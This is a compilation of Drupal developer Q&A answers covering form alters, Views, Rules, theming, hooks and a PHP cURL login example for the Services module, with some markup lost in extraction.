I believe there is a way to do this by rewriting the field described in this issue: https://www.drupal.org/project/charts/issues/2915097. There is also grouping enabled now if you want to stack your charts. Please download the latest -dev version.


Bootstrap sub-theme with responsive and off-canvas menu module

Turns out the Bootstrap menu--main.html.twig file was causing the issue. I just created a theme override for it and made it just the default Drupal menu code and all is working properly now.


How do I get the submitted value for a field?

You can also do this in following way:

function submituserform(array $form, FormStateInterface $form_state) {
  $element = $form['field_email'];
  $email = $form_state->getValue($element['#parents']);


How to use a standalone page with a module

Assuming the return path is configurable with the bank, you'd be better to create a hook_menu callback to handle the bank response.

That way you can leverage the Drupal API, e.g access callback to restrict to their IP address range to prevent spoofing etc..

e.g:

/**
 * Implements hook_menu().
 */
function MYMODULE_menu() {
  $items = array();

  $items['payment/callback'] = array(
    'title' => 'Payment callback',
    'page callback' => 'MYMODULE_payment_callback_handler',
    'access callback' => 'MYMODULE_payment_callback_access',
    'type' => MENU_CALLBACK,
    'file' => 'MYMODULE.pages.inc',
  );

  return $items;
}

The bank can then request https://www.yoursite.com/payment/callback?param1=foo&param2=bar


How to stop CKEditor 3.6.3.7474 from stripping  tags

You can resolve this by going to the "Advanced Options" section of your CKEditor profile and adding the following string into the text area:
config.allowedContent = true;

This resolved the issue for me.


Deduct 10% transaction fee when user donates userpoints to another user using rules - Drupal 7

If you see userpoints_donate.module userpoints_donation_giveform_submit function is reponsible to award points to another user

/**
 * Submit function to give another user points.
 */
function userpoints_donation_giveform_submit($form, &$form_state) {
  global $user;

  $points = $form_state['values']['amount'];
  $to = $form_state['validated_account'];

  $tid = NULL;
  if (isset($form_state['values']['tid'])) {
    $tid = $form_state['values']['tid'];
  }

  $params = array(
    'uid'    => $to->uid,
    'points' => $points,
    'operation'  => 'userpoints_donation_received',
    'entity_type' => 'user',
    'entity_id' => $user->uid,
    'description' => $form_state['values']['reason'],
    'tid'    => $tid,
  );
  userpoints_userpointsapi($params);

  $params = array(
    'uid'    => $user->uid,
    'points' => -$points,
    'operation'  => 'userpoints_donation_given',
    'entity_type' => 'user',
    'entity_id' => $to->uid,
    'description' => $form_state['values']['reason'],
    'tid'    => $tid,
  );
  userpoints_userpointsapi($params);
}

As you see above

userpoints_userpointsapi($params); is called to award $points with transaction operation userpoints_donation_received .

You can use hook_userpoints($op, $params = array()) to act upon certain operations. When other modules award  points to a user, your hook will be called, among others.

  $op: The operation to be acted upon.
      'setting'
        Pass a field set and fields that would be displayed in the userpoints
        settings page. For example, this can be used for your program to ask
        the admin to set a number of points for certain actions your module
        performs. The function should return an array object conforming to
        FormsAPI structure.

  'points before'   Calls your module, and others, before the points are
  processed. You can   prevent points from being awarded by returning
  FALSE.

  'points after'   Calls your module, and others, after points are
  processed. You can take   certain actions if you so wish. Return value
  is ignored.

  The $params variable is the original $params array as sent to
  userpoints_userpointsapi

Using "Points after" $op and  in $params check for operation "userpoints_donation_received"  you make a call to deduct 10 % points using..

userpoints_userpointsapi($params); API function..

<?php
function YOURMODULENAME_userpoints($op, $params) {
  if ($op == "points after") {
    if ($params['operation'] == "userpoints_donation_received") {
      $transaction_params = $params;
      $transaction_params['points'] = -( $transaction_params['points'] / 10);
      $transaction_params['operation'] = "userpoints_donation_transaction_fee";
      $transaction_params['description'] = "Transaction Fee";
      userpoints_userpointsapi($transaction_params);
    }
  }
}


How to have multiple exposed filters in a block that affects multiple views content panes in a panel?

Select one of your displays (lets say table1) and add (or recreate) the other displays as attachments.  Then only display table1 on your page and all other displays should tag along with it. Then expose the filter for table1.

Here's a good overview:
http://nmc-codes.blogspot.co.nz/2012/10/views-attachment-in-drupal-7.html

UPDATE:

If you just want disconnected views to pick up on one exposed filter then this might do the trick:
https://www.drupal.org/project/global_filter

It gives you configurable blocks with filter options. These options are made available as contextual filters so your views don't need to have the exposed filters.


How to programmatically replace a field label and content before rendering?

I expected to be able to do it with THEME_preprocess_field, but the
data at that point seems to have only the content's markup

There are more template variables:
field.html.twig:
{#
/**
 * @file
 * Default theme implementation for a field.
 *
 * ...
 *
 * Available variables:
 * - attributes: HTML attributes for the containing element.
 * - label_hidden: Whether to show the field label or not.
 * - title_attributes: HTML attributes for the title.
 * - label: The label for the field.
 * - multiple: TRUE if a field can contain multiple items.
 * - items: List of all the field items. Each item contains:
 *   - attributes: List of HTML attributes for each item.
 *   - content: The field item's content.
 * - entity_type: The entity type to which the field belongs.
 * - field_name: The name of the field.
 * - field_type: The type of the field.
 * - label_display: The display settings for the label.
 *
 * @see template_preprocess_field()
 *
 * @ingroup themeable
 */
#}

So you can change for example label:
mytheme.theme:
/**
 * Implements hook_preprocess_HOOK() for field.html.twig.
 */
function mytheme_preprocess_field(&$variables) {
  $variables['label'] = 'foo';
}


Remove paper size options on node add forms

Cross-posting my answer from drupal.org as these two pages are the first results in google.
https://www.drupal.org/project/print/issues/2714635

  I just fixed this on my works web site. The form alter code needs to be added in an #after_build callback as the paper size and orientation fields don't exist yet in the form array in using hook_form_alter. Here is a complete example.

/**
 * Implements hook_form_alter().
 */
function my_module_form_alter(&$form, &$form_state, $form_id) {

  // Hiding the print fields that print.module puts into the node form.
  if (strpos($form_id, '_node_form') !== FALSE) {
    $form['#after_build'][] = 'mhfa_pdf_form_alter_after_build_remove_print';
  }
}

/**
 * Remove pdf print controls.
 */
function my_module_form_alter_after_build_remove_print($form, &$form_state) {
  unset($form['print']);
  return $form;
}


Automagically relating nodes of a single content type

Remeber that views is some kind a query builder, even better it gives you tools to alter its content, query and so on. See hook_views_query_alter


how to create a custom form and embed it on a node

The way I would go about it is to create the form within a Drupal block. In this manner, you could configure when & where the form could be placed on the page and with what types of content. You also wouldn't have to edit your theme if you'd ever wanted to add the form to another type of content.

Look at hook_block_info() & hook_block_view(), and reference the user module's implementation (user_block_info() & user_block_view()) for how it create its user login block.


Select lists have always the option None if they are not set as Required. That said, you can create a List (Text) field  with select list widget and set only two options, 0 and 1, and you will get the None option automatically.


What will happen if a custom module has the same name as a contrib module?

I write a custom module named 'views' and do not have the contrib module 'views' enabled, will the update manager attempt to update my custom module according to the contrib project status?

No it won't. The update manager looks at the packaging information added to the .info file for released modules, as long as your module doesn't have that data in the .info file (no reason why it would), then you won't have any problems.

The other answers are of course correct insofar as you can't have both modules enabled at the same time. You'd never even get to the point of seeing the fatal errors though, Drupal simply wouldn't let you install a module that has the same machine name as another module that's already installed.

You should aim to name your modules differently than the most popular module in existence, though, if only to save the sanity of the poor developer who eventually takes over the project from you.


reference an entity outside of the node/add or node/edit forms

You could use the Views and Rules Link modules (along with the Rules module) to accomplish this.

What you would do is create a Rules Link that will attach your line item (exam) to a Job (that the user selects).

You would likely need to have an  field available for Rules to manipulate, but there would be no forms involved directly using an Entity Reference field (no forms involved).


Here's the link to the full document on module developing aspect which I assume is not your main goal, there are some ways that you wanna skip for now, my suggestion is depending on the theme you are using, is to do it via .info file.   the easiest and common way.

This link is a very good guide for adding js files to omega subtheme, you may find it useful.

The .info file approach:

first open your theme's .info file that it should be something like YOURTHEMENAME.info

if you are using a subtheme there must be already some js files in there, you can find them and use them as an example.

what you wanna do is to add your js file like this:

scripts[] = somescript.js

this way the js file will be added to head of your website, remember after each time of editing a .info file you need to clear cache.

Adding External js to your site:

In your theme's template.php file use drupal_add_js() to the page preprocess method (or an equivalent preprocess).

function hook_preprocess_page(&$vars) {
  drupal_add_js('http://cdn.jquerytools.org/1.2.6/jquery.tools.min.js', 'external');
}

Edit: also with the extra info you just provided regarding using functions in the header you need to make a custom tpl file, locate the file that has <head> tag in your theme, it most likely be html.tpl.php (depends on the base theme you are using) if you couldnt find it you can copy it from modules/system/html.tpl.php and paste it into your theme's folder. edit the name of your file as this:
html--node--id.tpl.php like html--node--1.tpl.php and clear cache afterwards. edit the file as you wish and you must be good to go.


I think menu_tree_all_data should do the trick.

You will need to put this in a custom module and then loop over the array to manually build your menu.


How do you resize a form element in a block?

Set the #size and #cols (textarea) attributes of the different form elements as appropriate. You can do that with a hook_form_alter() implementation if they're not your forms.

Additionally, you can also use CSS, using the #attributes property.


In "Status report" it just outputs the string "version", which causes problems when querying Drupal version

That is weird. What does line 11 of the file modules/system/system.module read? For me, it is define('VERSION', '6.22'). How did you obtain the Drupal source files? Via a zipfile or through a git check out perhaps?


user registration redirect for custom form drupal 6

It is $form['#redirect'], not $form_state['redirect'] in this case because user_register_submit() unsets $form_state['redirect'] (well, sets it to '') when it is confident that all is good with its part in the registration process...and hence allowing an alter to add in a #redirect.


The submit function is where you should be executing your code. If you are executing your code in the ajax callback, you are probably doing it wrong. The ajax callback should only return what is needed to be returned. You can use logic to check things in the form generation function (like checking variables to change parts of the form), but any logic needed to be run on form submit, should be done in the form submit function/s.

function myform_example_form($form, &$form_state) {
  $form = array();
  $form['submit'] = array(
    '#type' => 'submit',
    '#prefix' => '
',
    '#suffix' => '
',
    '#ajax' => array(
      'callback' => 'myform_example_ajax_callback',
      'wrapper' => '#myform',
    ),
    '#submit' => array(
      'myform_example_submit',
    ),
  );
}

function myform_example_submit($form, &$form_state) {
  // do stuff here.
}

function myform_example_ajax_callback($form, &$form_state) {
  return $form['submit'];
}

If you really need to stop the submit function on a submit button you can do it by setting #executes_submit_callback.

eg.

function myform_example_form($form, &$form_state) {
  $form = array();
  $form['submit'] = array(
    '#type' => 'submit',
    '#prefix' => '
',
    '#suffix' => '
',
    '#ajax' => array(
      'callback' => 'myform_example_ajax_callback',
      'wrapper' => '#myform',
    ),
    '#submit' => array(
      'myform_example_submit',
    ),
    '#executes_submit_callback' => FALSE,
  );
}


Can solr point into a certain point in a document?

Not easily (unless there is a module I don't know of which does it).

Solr can return highlighted terms, you can use this highlighting, to preprocess the node when being displayed to insert an anchor tag (after removing the ems), you cold append this tag to the search results page.

Another way would be to index the pages separately. So you could at least link to the correct page (even if is a fragment id) when showing the results.


In your views panel, if you edit your taxonomy field, one of the options is "Multiple Field Settings", with a checkbox for "Display all values in a single row". If you uncheck this box, you will get multiple rows, however, it doesn't group them into one node. You get the entire node repeated. The setting mentions adding a "group by" to your display, but the data export display doesn't seem to support that.

So I did a search and found this article on drupal.org: https://drupal.org/node/1187712
It looks like there have been a couple of patches created for adding group by functionality. It doesn't look like they've been integrated into the base code, but maybe one of the patches will work for you.


Print out $view object in custom field template

Try to set the memory limit in your settings.php to something like this..

ini_set('memory_limit', '128M');

The above code will override your server php.ini settings. Take note that this may result instability of server and may attract suspension of your account.

You may need to ask your hosting support if possible.


Override and add a link to a themed table

yes copy the whole function to one of your own and add the operation. this is not dynamic.

for the other table, if you use an entity you could add the operation via the entitycontroller, only found this for d8 in the rush .. Custom entity operation links

for the d7 way http://drupalcontrib.org/api/drupal/contributions!entity!includes!entity.ui.inc/class/EntityDefaultUIController/7


spamspan not working, how to apply patch?

There's nothing too sophisticated about a patch file -- you can copy the commit code in the above link to your clipboard and paste it into a text editor. This link might make it easier:

http://drupalcode.org/project/email.git/patch/523cd0d

Then, you want to save your new file in the same folder as the module file you're trying to patch (based on the path in the actual patch file) and run the patch script as outlined here:

https://drupal.org/patch/apply


You can get it with

$plugin_id = $view->style_plugin->displayHandler->getPluginId();


You can do this by creating a custom module:
Example:

MODULE_NAME(mydata)
creat routing file. (mydata.routing.yml):

     mydata.redirect_form:
       path: '/user/redirect'
       defaults:
         _form: '\Drupal\mydata\Form\RedirectForm'
         _title: 'Redirect User'
       requirements:
         _permission: 'access content'

Create .module file (mydata.module):

use Symfony\Component\HttpFoundation\RedirectResponse;
use Drupal\Core\Url;

function mydata_preprocess_page(&$var){
    if(empty($_SESSION['terms_accepted']) || $_SESSION['terms_accepted'] != 'ok'){
        if (\Drupal::routeMatch()->getRouteName() == "user.login"){
            $path = Url::fromRoute('mydata.redirect_form', [], ['absolute' => TRUE])->toString();
            $response = new RedirectResponse($path);
            return $response->send();

        }
    }
}

Create file in module folder src/Form/RedirectForm.php:

namespace Drupal\mydata\Form;

use Drupal\Core\Form\FormBase;
use Drupal\Core\Form\FormStateInterface;
use Drupal\Core\Url;
use Symfony\Component\HttpFoundation\RedirectResponse;

class RedirectForm extends FormBase {

    public function getFormId() {
        return 'redirect_form';
    }

    public function buildForm(array $form, FormStateInterface $form_state) {
        if(!empty(@$_SESSION['terms_accepted']) || @$_SESSION['terms_accepted'] == 'ok'){
            $path = Url::fromRoute('user.login', [], ['absolute' => TRUE])->toString();
            $response = new RedirectResponse($path);
            return $response->send();
        }

        $form['test'] = [
            '#type' => 'item',
            '#markup' => t('Please Follow the rule of our site,click accept button to agree and login-in: '),
        ];

        $form['submit'] = [
            '#type' => 'submit',
            '#value' => 'Accept',
        ];

        return $form;

      }

    public function submitForm(array &$form, FormStateInterface $form_state) {
        $_SESSION['terms_accepted'] = 'ok';
        if($_SESSION['terms_accepted']){
            $form_state->setRedirect('user.login');
        }
    }
}


How to render a Views Content Pane programmatically?

You can use

views_embed_view

e.g

print views_embed_view('news', 'panel_pane_1', 'world');

Any additional parameters will be passed as arguments, i.e contextual filter values.


hook_comment_insert() is fired after the comment body has already been saved to the database, so it's probably not the hook you're looking for.

Instead you could hook up your own validation function to the comment form and alter the body there. That way you're not having to make any extra db calls.

In it's simplest terms you would implement hook_form_FORM_ID_alter() and add the validation function like so:

function MYMODULE_form_comment_form_alter(&$form, &$form_state, &$form_id) {
  $form['#validate'][] = 'MYMODULE_comment_form_validate';
}

function MYMODULE_comment_form_validate($form, &$form_state) {
  $current_body = $form_state['values']['comment_body'][LANGUAGE_NONE][0]['value'];

  $new_body = $current_body . ' some extra text';

  $form_state['values']['comment_body'][LANGUAGE_NONE][0]['value'] = $new_body;
}


Some of my Panel content is missing for anonymous users. What went wrong?

Ok, it was a caching issue after all. >.<

I'm not sure which caches Panels uses, but the very handy Administration menu's flush all caches link seems to have fixed the problem.


How to display all record from database in Drupal?

You should use a different method on the query object to get all results.

e.g fetchCol() to get an array when querying for a single column value (in this case field_batch_reference_target_id):

global $user;
$nid = '650';

$query = db_select('field_data_field_batch_reference');
$query->fields('field_data_field_batch_reference', array('field_batch_reference_target_id'));
$query->condition('entity_id', $nid, '=');
$target_ids = $query->execute()->fetchCol();
drupal_set_message('
' . var_export($target_ids, 1) . '
);

You could also then load those entities with something like

$entities = entity_load_multiple('entity_type', $target_ids);
drupal_set_message('
' . var_export($entities, 1) . '
);

Keep in mind that will load all results, so you may want to add a limit to your query instead, e.g:

$query->range(0, 25);


How can I print a variable in the node template?

If it's a variable that came from a hook_preprocess_node, you can just print it in your twig template as you wrote it in your example:

{{ variable_name }}


Aligning the Article/Node Title next to image

There are several ways you can go about re-structuring your html.  Two options would be:

Overriding / creating template files for the content type that you
are trying to modify.
Using a contrib module like Display
Suite which gives you an interface to
easily modify a content types structure and classes.


There is a module for that. Check Webform Confirmation.

This is confirmation module. It sends an e-mail to users who submit the webform for verification by taking the email id from the webform.
On clicking on the confirmation link in the email, the user confirms that he/she is not a spammer. It works both for both Authenticated and Anonymous users.
Also, the administrator is able to keep a track of users who have confirmed their submissions.
Optionally, you can disable sending the confirmation link in the mail which would only send a "thank you" mail.


Search not finding search term from page title

This is easy to debug, because the search index is built of rendered nodes with the view mode search_index. So you could build a view displaying all nodes with this view mode and check the result:

Edit:

The node search plugin adds the title to the rendered node, so if the page title is the node label, it should be included in the search index:

NodeSearch::updateIndex():

  $build = $node_render->view($node, 'search_index', $language->getId());
  ...
  // Add the title to text so it is searchable.
  $build['search_title'] = [
    '#prefix' => '<h1>',
    '#plain_text' => $node->label(),
    '#suffix' => '</h1>',
    '#weight' => -1000
  ];
  $text = $this->renderer->renderPlain($build);


How to inject a new variable into a menu template

I had the same issue, but i was using {{ dump() }} to debug the template

The problem

I have the same arguments when i am using {{ dump() }} inside macro tags. For example:

   {% macro menu_links(items, attributes, menu_level ) %}
       {{ dump() }}
       ... code ...
   {% endmacro %}

If you focus on function menu_links(), you realize that variables are available in your degug trace. So, the macro tags have isolated the bunch of code and variables can't be accessed.

The solution

If you place the debug code outside of macro tags, you can see the variables that has been passed throught a preproccess function. For example:

   # You can see here your variables
   {{ dump() }}

   {% macro menu_links(items, attributes, menu_level ) %}
       ... code ...
   {% endmacro %}

How can you pass variables to macro ?

There are an invocation of menu_links() in template, so you only need to add all the arguments you want to pass them to the macro.

   {{ menus.menu_links(items, attributes, 0, my_custom_argument ) }}

   {% macro menu_links(items, attributes, menu_level, my_custom_argument ) %}
       ... code ...
   {% endmacro %}


Unable to get titles to show up as higher priority in search than content

Make sure your view's topmost sort is set to "Search: Relevance (desc)" to sort your results from most relevant to least relevant.

Add the "Search: Relevance" field to your displayed fields while configuring your index. You'll see each result's relevance score inline - it's super helpful to see the impact of your various index adjustments. E.g. How much does boosting the title field by 8.0 affect a result's total score.


How to create a group page when creating a new group?

Have a look at the exported rule below, which is a variation of the (exported) rule in your question:

{ "rules_create_1st_group_page" : {
    "LABEL" : "Create 1st Group Page",
    "PLUGIN" : "reaction rule",
    "REQUIRES" : [ "rules" ],
    "ON" : [ "node_insert" ],
    "IF" : [
      { "node_is_of_type" : { "node" : [ "node" ], "type" : { "value" : { "group" : "group" } } } }
    ],
    "DO" : [
      { "entity_create" : {
          "USING" : {
            "type" : "node",
            "param_type" : "post",
            "param_title" : "Page 1 - Start here",
            "param_author" : [ "site:current-user" ]
          },
          "PROVIDE" : { "entity_created" : { "grouppage_created" : "Created GroupPage" } }
        }
      },
      { "list_add" : { "list" : [ "grouppage-created:og-group-ref" ], "item" : [ "node" ] } },
      { "entity_save" : { "data" : [ "grouppage-created" ], "immediate" : 1 } }
    ]
  }
}

Some more details about "my" variation, about the content types involved:

"Group" is the content type I'm using for my OG groups.
"Post" is the content type which has an Entity reference field with machine name og_group_ref (and widget = OG reference), so that I can assign nodes of content type "Post" to the appropriate field. Be aware however, this field allows for unlimited values (not sure if that's your case also).

Some more details about the actual rule:

Rules Event: After saving new content.
Rules Condition: Content is of type Group.
Rules Actions:

Create a new entity, of type Post (note the grouppage_created variable name I've used, instead of just the default entity_created ...).
Add an item to a list, whereas the list is grouppage-created:og-group-ref (a multi value field, remember, so you cannot/should not use "set a data value, a common mistake when creating custom rules ...), and the item to be added is ... you probably guessed it: the node (of type Group), that just got saved.
Save entity, for the grouppage_created (not sure if this Rules Action is really needed, but IMO it's a kind of safe (best?) practise to be sure that this newly created grouppage_created-entity also gets saved).

And yes I actually tested this rule in my own environment ... Sure enough, in my case a new node (of type Post) got created, after I created a new Group.

Your turn to adapt your rule (with your content types), to make it similar to my rule here (assuming you also allow multiple values for your og-group-ref field. If yours is single value, then probably all you need to change is to replace the Rules Action Add an item to a list by an action to Set a data value (using similar variables).

PS: I'm assuming your question is about D7.


using hook_form_alter on a same form from 2 different modules

All implementations of the hook_form_alter() will alter the user_login forms you embed in your blocks. As you observed, your author_login form alter will not be restricted to only altering the form in your author_login block.

If you want your form alters to only alter the form in the context of their respective blocks, you have to find a way to observe the block context from them. There is no easy way to properly implement this, you will either have to add additional non-standard arguments to your form builder (the arguments passed to drupal_get_form() after the form ID), or uses some sort of global states.

A cleaner solution is to use hook_forms to define new author_login and creator_login forms that simply re-use the existing user_login form as callback but have a different form id:

/**
 * Implements hook_forms().
 */
function author_login_forms($form_id, $args) {
  $forms = array();
  $forms['author_login'] = array(
    'callback' => 'user_login',
  );
  return $forms;
}

You can then simply implement a form alter specific to your author login form.

/**
 * Implements hook_form_FORM_ID_alter().
 */
function author_login_form_author_login_alter(&$form, &$form_state) {
  $form['#validate'][] = 'author_login_validate';
}

And finally embed this form wherever you need it with

drupal_get_form('author_login');

Repeat for the creator login form.


What does the 'property_type' key do in hook_field_info()?

They're not part of Drupal core, but are extra keys provided/used by the Entity Module. The comments in entity.api.php clear it up quite nicely:

For providing entity property info for fields each field type may specify a property type to map to in its field info using the key 'property_type'. With that info in place useful defaults are generated, which is already suiting for a lot of field types.
However it's possible to specify further callbacks, that may alter the generated property info. To do so use the key 'property_callbacks' and set it to an array of function names. Apart from that any property info provided for a field instance using the key 'property info' is added in too.

I'm afraid I don't know of any other undocumented keys, but a comment in the same file just above the previous ones notes:

This is a placeholder for describing further keys for hook_field_info(), which are introduced by the entity API.

I would just keep your eye on that file when future versions of the Entity module come out to see if any new ones have been added; property_type and property_callbacks are the only ones mentioned at the time of writing.


Though now 3 years old, the Quiz FAQ addresses this question: drupal.org/node/507090#1

How do I create a quiz block?

Quiz 3.x has the Views module integration. To create a quiz block showing the top scorers or recent quiz you can use the Views module [to expose as a block]


How to add Organic Groups after Site has been created

It should not be necessary to re-create the whole site from scratch. After installing Organic Groups, you can mark an existing content type as "Group Content" if you want the nodes of that type to belong to a group:

Go to admin/structure/types.
Click on the "Edit" link next to the type you want to modify.
In the Organic groups tab, check the Group content checkbox. It will create a Groups audience field in your content type.

After that, you will need to assign each node to the appropriate group, in the Groups audience field.


Access licensed files only after admin changes order status to completed

Sorry I don't have time to watch the screencast.

You could create two rules, the first which trigger when an order is payed in full, this rule could change the order status to pending.

Then you could make another rule which triggers when an order is saved, with the condition that it is in the pending state, it is changed to completed (which allows access to the files).

This could cause complications if you actually use the 'pending' order status for other workflows, in which case you might need to make a custom status you can use as an in between for your review process (using this module https://drupal.org/project/commerce_custom_order_status).


Entity Query field condition for Webform submissions

As imclean says webform_submission_data stores as EAV model. You can also do the following, If you need to have just one condition ticket_for == $adnummer.

$select = \Drupal::service('database')
->select('webform_submission_data', 'wsd')
->fields('wsd', array('sid'))
->orderBy('wsd.sid', 'DESC')
->condition('wsd.webform_id', 'your_webform_id', '=')
->condition('wsd.name', 'ticket_for', '=')
->condition('wsd.value', $adnummer, '=')
->execute();

$results = $select->fetchAll(\PDO::FETCH_COLUMN);
if ($results != null && count($results) >= 1) {
    $storage = \Drupal::entityTypeManager()->getStorage('webform_submission');
    $submissions = $storage->loadMultiple($results);
}

Now just loop the $submissions. Done.


Set xdebug.max_nesting_level to higher value

Since xdebug.max_nesting_level is not available/cannot be found in my php.ini file.

What I did is adding this line to .htaccess from Drupal directory and this solves my issue.

php_value xdebug.max_nesting_level 256


How to group views rows by year using date field?

Add a second date field to the view.
In the configuration of that field

Configure the field to only display the year
Exclude the field from display

In the format settings of the view, group by this field.


New User Registration Sequence for Services 3.4?

Edit: to address the change in the question

  I'm looking for what requests to make in what order - not implementation code

You can safely ignore the actual code implementation below - the order of the requests remains the same. In fact, exactly the same as in your original question.

If you're already making requests in the order that you've outlined, you needn't do anything more except provide an actual implementation. I'll leave the code in as an example, and so you can see exactly what order the requests need to be made in. I've stuck some numbering in to make it more obvious; the requests are denoted by 1, 2 & 3.

This is a basic PHP (i.e. non-Drupal) example...

First off make a generic function for sending your requests:

function send_request($url, array $post_array = array(), $cookie = NULL, $token = NULL) {
  $ch = curl_init();

  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_USERAGENT, 'googlebot');
  //curl_setopt($ch, CURLOPT_VERBOSE, $post_array);

  if (!empty($post_array)) {
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_array);
  }

  if ($cookie) {
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
  }

  if ($token) {
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-CSRF-Token: ' . $token));
  }

  $result = curl_exec($ch);
  curl_close($ch);

  return $result;
}

1. Then make your first call to log the user in:

// Login.
$data = array(
  'username' => 'user',
  'password' => 'password',
);

$result = send_request("http://server/endpoint/user/login.json", $data);

try {
  $result = json_decode($result);
}
catch (Exception $e) {
  die('Login failed: ' . $e->getMessage());
}

Next get the session name and ID, creating your cookie string to send with subsequent requests:

$session_id = $result->sessid;
$session_name = $result->session_name;
$cookie = $session_name . '=' . $session_id;

2. Then get a CSRF token, making sure to pass the cookie along:

$token = send_request("http://server/services/session/token", array(), $cookie);

3. Finally you can perform your request to the endpoint you're actually interested in. The cookie and token are injected by the send_request() function.

$user = array(
  'mail' => 'test@test.com',
  'name' => 'name',
  // Other relevant properties/fields.
);

$result = send_request('http://server/endpoint/user', $user, $cookie, $token);

I haven't tested the user creation endpoint so that might not be the exact structure it needs, but checking the responses for errors should let you know exactly what it's after quite quickly. I get the impression from your question that you're mainly interested in the steps leading up to that last request anyway.

The above is adapted from a basic test script I use, for a production environment you'll want to add more error/sanity checking in there. And the functionality is crying out to be wrapped in a class, and be extended to support PUT/DELETE, but I'll leave that to you :)


Since you have PHPMyAdmin, you should be able to fix this with some point and clicking.

Navigate to the node_counter in your Drupal database
Go to the 'Operations' tab
Hit check tables
If something isn't right it should give you the option to repair

If the option to repair doesn't come up and it doesn't appear in the Operations tab (some of these move around version to version of PHPMyAdmin), you can run the command

REPAIR TABLE node_counter;

from the SQL tab.

Good luck!


I think that this page could be useful for you: Product comparison in Drupal. This tutorial explains how to to implement a node comparison with Flag and Views modules: in short creating an Include in comparison per-user node flag, which users will use to mark the interesting nodes. Then, creating a table view with the nodes previously marked.


You can use function form_get_errors and function form_clear_error

function _custom_validation($form,$form_state){
  $errors = form_get_errors();
  if(!empty($errors)){
    $string_error = $errors['name'];
    if (strpos($string_error, 'unrecognized username or password') !== FALSE) {
      form_clear_error();
      form_set_error('name','The password entered is wrong. Please retry.');
    }
  }
}


Can I use custom fields inside custom fields in Drupal 7?

Please let me know if I'm misinterpreting your question — essentially, you're asking how to group up fields of content that appear frequently together on your Drupal site? Without using Field Collection... hmmm...

Well, first potential option is the Field Group module. However, it may not be exactly what you want seeing as how you mentioned Field Collection. It may be worth looking into though. Not sure it supports translation though.

The next potential option I see is changing the actual Image entity through the File Type interface provided by the Media module. At this screen, you can actually adjust the Image entity to contain extra fields. In doing this, all you would need then is place the Image field in your content type. The user uploading an image via this Media field would then be prompted to add the linked headline and a brief description after uploading the image.

Because the Media module documentation does an AWESOME job of explaining how to modify an Image entity, here is the documentation page about managing/editing file types — scroll down to the start of the section "Manage the Display of Images (Manage File Types)". After adding these fields to your Image entity (or a new entity), you'll be able to manage the display like you would for a content type.


Understanding page-title.html.twig and/vs field--node--title.html.twig

Every page has a title, but not every page has title field (views pages, settings forms,...). Only fieldable entities (like node, user, taxonomy term,...) can use a field--ENTITYTYPE--FIELDNAME.html.twig template.
Very often the title field of an entity is NOT the title of a page (imagine a views page showing 10 nodes), that's why the h1 is in page-title.html.twig
Modules or field formatters might use those attributes. Removing it is no showstopper, but it might have side effects depending on the modules you use. (e.g. core's QuickEdit module will not work without {{ attributes }}).


Drop down triggering image_button callback

Found the problem with the code. Image_button won't have any #value. It will only have return_value which in this case can be same as what I was putting in #value.

    $form['fieldset1']['image_button'] = array(
    '#type' => 'image_button',
    '#name' => 'image_button_name',
    '#return_value' => t( 'Image Button Value' ),
    '#src' => drupal_get_path( 'module', 'my_module' ) . '/assets/img/image.png',
    '#submit' => array( 'button_callback_function' )
);


How can I use Rules to send an e-mail to the author of a node linked by an entity reference field?

Here's how I got mine to work:

Switch to 'Data selection mode' which is not how the mail action launches by default:

Select through the field sequence just like you already had with tokens!

I noticed that the tokens are otherwise not available if you just use the direct input mode.  Weird!


Have a look at Elysia cron.

That module allows you to configure each cron hook implementation separately and it allows provides you with information about how long each mean/max execution time of those hooks.


How do I automatically change the background image of body?

This is the code that is added directly to the page and is not part of a seperate script.

<!--//--><![CDATA[//><!--
jQuery(document).ready(function () { $('body').css( 'background-image', 'url("/sites/default/files/palm1.jpg")' ) });
//--><!]]>
</script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
jQuery(document).ready(function () { $('body').css( 'background-color', '#2a2f1d' ) });
//--><!]]>

The place where you want do this is inside your theme's template.php file under the function MYTHEME_preprocess_page(&$variables)

then add something like

$script_bg_img = "jQuery(document).ready(function () { $('body').css( 'background-image', `url('/sites/default/files/palm1.jpg')` ) });"
drupal_add_js($script_bg_img);

or put the javascript in a separate file, then add
   drupal_add_js(PATH_TO_FILE . '/FILENAME');


date_default_timezone_get() returns the wrong timezone

I figured out what was going on. I am using the module print with the external   library mPDF (version 6.0). mPDF.php was changing my default timezone to "Europe/London" in line 80 (this bug has been reported in this version of mPDF). Apparently this line was running after drupal_session_initialize() in session.inc, which sets the default timezone for the session to match the site's selected timezone.

What's strange is that mPDF was only affecting 2 of my sites. Apparently the session initialization in the other sites was running after the mPDF command? I commented out those lines and all the timezones now match.


You can configure custom styles in 'Text formats and editors':

Visit /admin/config/content/formats, and click Configure for any
format using CKEditor
Ensure the 'Styles' button is in your active toolbar
Click 'Styles dropdown' under CKEditor plugin settings
Add class|style values per the instructions

Using your example, you could add entries like:

ul.myListClass|Special List
li.myItemClass|Special List Item

This would make the styles 'Special List' and 'Special List Item' appear in the styles dropdown anytime the user's cursor is anywhere in an ul or li. If they choose 'Special List', the class 'myListClass' would be added to the nearest ul. If they choose 'Special List Item', 'myItemClass' gets added to the current li.

This assumes current versions of Drupal 8. I'm not sure about Drupal 7, but I assume up-to-date versions would have similar functionality.


Display summary + read more links if body content is long, otherwise display body alone

Have you seen the Smart Trim module, that allows you to trim text fields to a given length, in words or characters, you can also add a read more link.

From the module description:

  After installing and enabling Smart Trim, you should see a "Smart trimmed" option in the format dropdown for your text fields. This is located in the "Manage Display" section of "Structure->Content types. With smart trim, you have control over:

  The trim length
  Whether the trim length is measured in characters or words
  Appending an optional suffix at the trim point
  Displaying an optional "More" link immediately after the trimmed text
  Stripping out HTML tags from the field


Why does my Quiz rule stop working after adding an extra user profile condition?

Make sure to add a Rules condition Entity has field (related to your additional field in your first Rules condition). And make sure to add that Entity has field condition BEFORE the condition in which you want to perform that "data to compare".

That's also what is mentioned in the Rules UI when you're adding a "data comparison" condition: somewhere it says "The data selector helps you drill down into the data available to Rules. To make entity fields appear in the data selector, you may have to use the condition 'entity has field' (or 'content is of type')".

